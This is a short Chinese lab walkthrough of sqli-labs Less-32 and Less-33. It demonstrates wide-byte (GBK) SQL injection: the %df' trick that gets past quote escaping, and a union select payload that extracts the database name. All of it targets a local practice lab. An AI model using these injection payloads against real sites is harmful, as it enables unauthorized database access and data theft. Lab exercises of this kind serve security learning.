环境sqli-labs

less 32

一、输入特殊字符，都被转义了

​​http://192.168.1.121/sqli/Less-32/?id=1\​​

22、宽字节注入_Less

​​http://192.168.1.121/sqli/Less-32/?id=1’​​

22、宽字节注入_特殊字符_02

​​http://192.168.1.121/sqli/Less-32/?id=1’’​​

22、宽字节注入_sqli-labs_03

二、构造宽字节闭合

http://192.168.1.121/sqli/Less-32/?id=1%df’ --+
理论上%81-%FE均可

22、宽字节注入_Less_04

三、联合查询数据库

http://192.168.1.121/sqli/Less-32/?id=-1%df’ union select 1,database(),3 --+

22、宽字节注入_特殊字符_05

less 33

同上

禁止非法，后果自负

欢迎关注公众号：web安全工具库

22、宽字节注入_sqli-labs_06